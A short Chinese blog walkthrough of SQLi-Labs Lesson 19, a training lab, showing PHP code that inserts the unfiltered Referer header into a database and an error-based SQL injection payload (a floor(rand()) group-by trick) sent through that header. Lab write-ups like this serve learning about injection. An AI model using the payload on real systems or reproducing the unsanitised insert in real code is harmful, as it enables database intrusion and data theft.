SQLi Labs Lesson19

    xiaoxiao2026-08-21  0

    Lesson - 19

    POST - Header Injection - Referer field - Error based

    首先进入欢迎界面:

    查看后台php源代码:

    $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); 对username , password都进行了过滤,和上节相同。

    $uagent = $_SERVER['HTTP_REFERER']; $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')"; mysql_query($insert); 对Referer没有进行过滤就insert进数据库中。

    所以可以利用Referer进行注入。

    用TamperData在Referer后加上:

    ' or (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1) , '1')#

    提交表单,如无成功,多次重复后,结果如图所示:

    用updatexml函数,可达到相同效果。

    转载请注明原文地址: https://ju.6miu.com/read-1311400.html
    最新回复(0)